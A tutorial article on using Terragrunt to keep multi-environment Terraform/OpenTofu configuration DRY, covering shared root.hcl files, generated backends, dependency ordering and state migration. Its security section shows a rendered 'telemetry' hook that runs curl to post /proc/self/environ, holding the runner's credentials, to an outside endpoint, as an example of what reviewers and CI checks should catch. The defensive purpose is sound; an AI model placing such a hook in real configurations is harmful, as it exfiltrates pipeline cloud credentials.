Terragrunt: keeping it DRY

Wrap Terraform for many environments.

Every environment directory in a grown-up Terraform repo carries the same letterhead. The same backend block pointing at the same state bucket. The same provider setup, the same version pins, the same module call with three words changed. You copy the folder, swap dev for stage, and move on. That works right up to the day someone updates the letterhead in eleven places and misses the twelfth. Terragrunt exists to kill that copy-paste. It is a thin wrapper, a program that sits in front of Terraform (or OpenTofu, the open-source fork of Terraform), assembles the repeated parts from one shared file, and then calls the real tool for you. It does not replace Terraform. It feeds it.

Where the Odd One Out Hides

The usual argument for removing repetition is tidiness, a nod to DRY (Don't Repeat Yourself, the rule that one fact should live in exactly one place). The operational argument is sharper. When the same twelve lines are pasted into fifteen directories, those directories drift apart, and the odd one out is almost never the safe one. A new environment gets bootstrapped from a copy that predates encryption being turned on. Someone renames a bucket and one directory keeps pointing at the old one. Nothing errors. Terraform will happily write state anywhere it has permission to write.

$ grep -n -e bucket -e encrypt -e use_lockfile live/*/network/backend.tf

live/dev/network/backend.tf:4:    bucket       = "acme-tfstate"
live/dev/network/backend.tf:6:    encrypt      = true
live/dev/network/backend.tf:7:    use_lockfile = true
live/prod/network/backend.tf:4:    bucket       = "acme-tfstate-old"
live/prod/network/backend.tf:6:    encrypt      = false
live/stage/network/backend.tf:4:    bucket       = "acme-tfstate"
live/stage/network/backend.tf:6:    encrypt      = true
live/stage/network/backend.tf:7:    use_lockfile = true

Read that carefully. Two environments write encrypted, locked state to the current bucket. Production writes unencrypted state to a bucket someone meant to retire, with no lock, so two engineers can apply at the same time and the last writer silently wins. State is your infrastructure's memory: one file listing every resource Terraform built, every identifier, every relationship, and a fair number of secrets in clear text, because Terraform records whatever the provider handed back. Database passwords land in there. Anyone who can read that single object can inventory your whole estate without ever calling the cloud provider's API (application programming interface, the door software uses to talk to the cloud). This grep should return boring, identical answers in every environment. When it does not, that is the finding.

One Shared File, Many Small Leaves

Terragrunt's layout is a tree. Each directory that Terraform would run in is a unit, and a unit owns exactly one state file. Instead of a full configuration per unit, each one gets a short terragrunt.hcl (HCL is HashiCorp Configuration Language, the syntax Terraform files are written in) saying which module to run and what to feed it. Above them all sits one shared file, root.hcl, holding everything they have in common. It is the master recipe pinned to the kitchen wall, with a small index card at each station listing only that station's ingredients.

# The letterhead every unit inherits. Written once.
locals {
  # live/<env>/<unit>, so for live/prod/network this resolves to "prod"
  env    = basename(dirname(get_terragrunt_dir()))
  region = "eu-west-1"
  accounts = {
    dev   = "111122223333"
    stage = "444455556666"
    prod  = "777788889999"
  }
}
 
remote_state {
  backend = "s3"
  generate = {
    path      = "backend.tf"
    if_exists = "overwrite_terragrunt"
  }
  config = {
    bucket       = "acme-tfstate"
    key          = "${path_relative_to_include()}/terraform.tfstate"  # key follows the directory
    region       = local.region
    encrypt      = true
    use_lockfile = true   # lock is an object in the same bucket; no DynamoDB table needed
  }
}
 
generate "provider" {
  path      = "provider.tf"
  if_exists = "overwrite_terragrunt"
  contents  = <<EOF
provider "aws" {
  region              = "${local.region}"
  allowed_account_ids = ["${local.accounts[local.env]}"]
}
EOF
}
 
# recent Terragrunt runs OpenTofu by default; point it back if your team is on Terraform
# terraform_binary = "terraform"
terraform_version_constraint  = ">= 1.10.0"   # use_lockfile needs 1.10 or newer
terragrunt_version_constraint = ">= 0.84.0"

Three things are doing the work here. remote_state describes the backend once, and the generate stanza inside it means Terragrunt writes a real backend.tf for each unit at run time. path_relative_to_include() returns the unit's path relative to the file it inherits from, so the state key follows the directory layout on its own: live/prod/network gets prod/network/terraform.tfstate, and nobody has to remember to keep keys unique. The generate "provider" block does the same job for the provider. allowed_account_ids is the address check on an envelope: a prod configuration aimed at the dev account fails during plan, before it changes anything. One caveat on that env local. basename(dirname(...)) assumes exactly one directory between live/ and the unit. Nest a unit deeper and you silently pick up the wrong account ID, so either keep the layout flat or parse the path properly.

include "root" {
  path = find_in_parent_folders("root.hcl")   # name the root file root.hcl, not terragrunt.hcl
}
 
terraform {
  # pinned to a commit, not a branch and not a movable tag
  source = "git::ssh://[email protected]/acme/tf-modules.git//network?ref=9f4c1a2b6e0d3f77a1c8e5b409d2f1a3c6e7b845"
}
 
inputs = {
  env             = "prod"
  cidr            = "10.20.0.0/16"   # the address range for this network
  flow_logs_to_s3 = true
}

The leaf is the whole point: inherit the shared file, run this module at this exact version, with these inputs. The include block walks up the directory tree until it finds root.hcl, which is why recent Terragrunt versions want the shared file named root.hcl rather than terragrunt.hcl (a root file with the same name as every leaf is ambiguous, and Terragrunt now warns about it). Notice the pin. That long hex string is a full commit SHA (Secure Hash Algorithm, the forty-character fingerprint Git stamps on every commit), not a branch and not a version tag. The reason for that comes later, and it is a security reason rather than a style one.

What Actually Runs

Here is the part people miss, and it is where most confused debugging starts. Terragrunt does not hand your terragrunt.hcl to Terraform. Terraform has never heard of that file. When a unit sets a source, Terragrunt downloads that module into a scratch directory called .terragrunt-cache, writes the generated backend.tf and provider.tf next to it, and runs tofu or terraform inside that copy. It works like a prep cook laying ingredients out on a clean bench before the chef touches anything. What Terraform executes is the contents of that bench, not your source tree. A unit with no source block skips the download and runs in place, generated files and all.

$ cd /home/deploy/live/prod/network
$ terragrunt plan

14:02:11.204 INFO   Downloading Terraform configurations from git::ssh://[email protected]/acme/tf-modules.git//network?ref=9f4c1a2b6e0d3f77a1c8e5b409d2f1a3c6e7b845 into ./.terragrunt-cache/dR2ug1Fkq0Z9mB7pXsWvKq/H8nQ4cLz7bV1sYtE0oJrN6/network
14:02:12.883 INFO   Generated file ./.terragrunt-cache/dR2ug1Fkq0Z9mB7pXsWvKq/H8nQ4cLz7bV1sYtE0oJrN6/network/backend.tf
14:02:12.884 INFO   Generated file ./.terragrunt-cache/dR2ug1Fkq0Z9mB7pXsWvKq/H8nQ4cLz7bV1sYtE0oJrN6/network/provider.tf
14:02:12.885 INFO   Running command: tofu init
14:02:16.551 STDOUT tofu: Initializing the backend...
14:02:18.902 STDOUT tofu: Successfully configured the backend "s3"! OpenTofu will automatically
14:02:18.902 STDOUT tofu: use this backend unless the backend configuration changes.
14:02:31.117 STDOUT tofu: Plan: 9 to add, 0 to change, 0 to destroy.

$ ls .terragrunt-cache/*/*/network/
$ cat .terragrunt-cache/*/*/network/backend.tf

backend.tf  main.tf  outputs.tf  provider.tf  variables.tf
 
terraform {
  backend "s3" {
    bucket       = "acme-tfstate"
    key          = "prod/network/terraform.tfstate"
    region       = "eu-west-1"
    encrypt      = true
    use_lockfile = true
  }
}

The derived key is right there: prod/network/terraform.tfstate, computed from where the directory sits in the tree. When a plan does something you did not expect, read these generated files before anything else. They are the truth about what Terraform received. Treat the cache as disposable and sensitive at the same time. It is untracked working data, it can hold anything you interpolated into a generated provider, and it belongs in .gitignore and in whatever your pipeline wipes between runs.

Running the Whole Tree at Once

Splitting an estate into many small state files is good for blast radius (how much breaks when one change goes wrong) and awkward for day-to-day work, because now one change touches six directories in a specific order. A dependency block fixes the ordering. It points at another unit and reads that unit's outputs, which lets Terragrunt build a DAG (directed acyclic graph, a dependency map with no loops, so there is always one valid order to work in) and run units in waves. Terragrunt gets those values out of the dependency's state, so whoever runs the plan needs read access to that state file too. mock_outputs supplies placeholder values so a plan works before the dependency has ever been applied, and mock_outputs_allowed_terraform_commands keeps those fakes away from apply, where feeding invented resource identifiers into real infrastructure would be genuinely dangerous.

include "root" {
  path = find_in_parent_folders("root.hcl")
}
 
terraform {
  source = "git::ssh://[email protected]/acme/tf-modules.git//eks?ref=3c81ef0a94b25d6178fa0c33e7bb9142d05a6e1f"
}
 
dependency "network" {
  config_path = "../network"
 
  # placeholders so `plan` works before network has ever been applied
  mock_outputs = {
    vpc_id             = "vpc-00000000000000000"
    private_subnet_ids = ["subnet-00000000000000000"]
  }
  mock_outputs_allowed_terraform_commands = ["validate", "plan"]
}
 
inputs = {
  vpc_id     = dependency.network.outputs.vpc_id
  subnet_ids = dependency.network.outputs.private_subnet_ids
}

$ cd /home/deploy/live/prod
$ terragrunt run --all plan          # older versions: terragrunt run-all plan

14:22:03.118 INFO   The stack at /home/deploy/live/prod will be processed in the following order for command plan:
Group 1
- Unit /home/deploy/live/prod/network
 
Group 2
- Unit /home/deploy/live/prod/eks
- Unit /home/deploy/live/prod/rds
 
Group 3
- Unit /home/deploy/live/prod/app
 
14:22:41.007 STDOUT [network] tofu: No changes. Your infrastructure matches the configuration.
14:23:12.554 STDOUT [rds] tofu: No changes. Your infrastructure matches the configuration.
14:23:19.881 STDOUT [eks] tofu: Plan: 1 to add, 2 to change, 0 to destroy.
14:23:58.402 STDOUT [app] tofu: Plan: 0 to add, 1 to change, 0 to destroy.

That group listing at the top is a blast-radius map, printed before anything happens. Group 1 runs alone because everything else needs the network. Units inside a group run alongside each other, up to whatever parallelism you allow. When you review a change or watch a pipeline, this output answers the question that matters: which state files does this touch, and in what order. It is also your last chance to stop, so reading it before you look away is a habit worth building.

The Three Lines an Attacker Reads First

Three lines in a Terragrunt tree are worth more to an attacker than the rest of the repository put together. The first is a hook: Terragrunt can run any shell command before or after a Terraform command, and a hook written into root.hcl fires in every unit beneath it. The second is the module source, because whoever controls the code at that ref controls what gets applied to your account. The third is the backend config, where one changed word redirects your state to a bucket you do not own. All three live in files reviewers tend to skim, because they look like plumbing rather than infrastructure.

The counter is to stop reviewing the diff on its own and start reading the resolved configuration. terragrunt render prints a unit's final config after every include and dependency has been merged, so an inherited hook shows up in the unit where it will actually fire. Pipe it through jq (a small command-line tool for picking fields out of JSON) and you can pull the two parts that matter.

$ cd /home/deploy/live/prod/network
$ terragrunt render --json | jq '.terraform | {source, before_hook}'
# older versions: terragrunt render-json, then read terragrunt_rendered.json

{
  "source": "git::ssh://[email protected]/acme/tf-modules.git//network?ref=9f4c1a2b6e0d3f77a1c8e5b409d2f1a3c6e7b845",
  "before_hook": {
    "telemetry": {
      "commands": [
        "plan",
        "apply"
      ],
      "execute": [
        "sh",
        "-c",
        "curl -sf https://collect.example.io/i -d @/proc/self/environ"
      ],
      "name": "telemetry",
      "run_on_error": false,
      "working_dir": null
    }
  }
}

That hook reads the runner's own environment variables, which is where a pipeline keeps its cloud credentials, and posts them to a stranger's endpoint. It fires on plan, and plan runs on every pull request before a human has approved anything. So wire the render into CI (continuous integration, the automation that runs on each pull request) and fail the job when a hook appears that was not there on the previous commit, or when a source ref is anything other than forty hexadecimal characters. Back that with a CODEOWNERS file (the list telling your Git host who must approve changes to which paths) covering every .hcl file, plan runners that hold no long-lived credentials, and egress rules (limits on where the runner may connect out to) that make an outbound curl fail.

Prove the Move Before You Trust It

Adopting Terragrunt on an existing estate has one predictable disaster, and it comes from the feature you liked most. The derived state key almost never matches the key you were using before. If production state lived at prod-network.tfstate and the new layout computes prod/network/terraform.tfstate, the first run finds an empty state and cheerfully offers to create a VPC (virtual private cloud, your own walled-off network inside the provider) that already exists. Copy the object to its new key first, then plan and require the answer to be no changes. A first plan that proposes to build your entire network is the loudest warning you will ever get, and people still approve it under time pressure.

$ aws s3 ls s3://acme-tfstate --recursive | awk '{print $3, $4}'

12874 prod/app/terraform.tfstate
48210 prod/eks/terraform.tfstate
31955 prod/network/terraform.tfstate
19022 prod/rds/terraform.tfstate
30117 stage/app/terraform.tfstate
29884 stage/network/terraform.tfstate

One key per unit, no collisions, and sizes that look like real state rather than a file created five minutes ago. Two units sharing a key is the other way this ends badly, because the second apply reads the first one's resources as things to remove. While you are in the bucket, keep versioning on so a mangled state can be rolled back, keep a bucket policy that denies unencrypted writes, and log reads. Someone reading a state object is someone taking a copy of your inventory.

When It Earns Its Keep

Terragrunt pays for itself when you have many environments, or many small units, and the duplication is already causing incidents. With two environments and one state file, plain Terraform with a directory each is less to learn and less to secure, and the wrapper is overhead you carry for nothing. Part of the original gap has closed. Terraform 1.10 and later can lock S3 state with a conditional write (a write that only lands if no lock file is sitting there already) using use_lockfile, so the separate DynamoDB lock table, a small AWS database table that used to hold the lock, is no longer required. Partial backend configuration, where you run terraform init -backend-config=env/prod.hcl and feed the changing values in at init time, covers the simple cases. Where Terragrunt still wins is generated providers, dependency ordering between units, and driving a whole tree with one command.

Whatever you adopt, pin both tools in the repository and in the runner image, and keep the wrapper thin enough that anyone on the team can answer one question during review: show me the generated backend.tf and the resolved terraform block for the unit this change touches. If that takes archaeology, the wrapper has stopped orchestrating and started hiding.

Try this

Run grep -n -e bucket -e encrypt -e use_lockfile live/*/network/backend.tf on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: run --all apply has an estate-sized blast radius. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related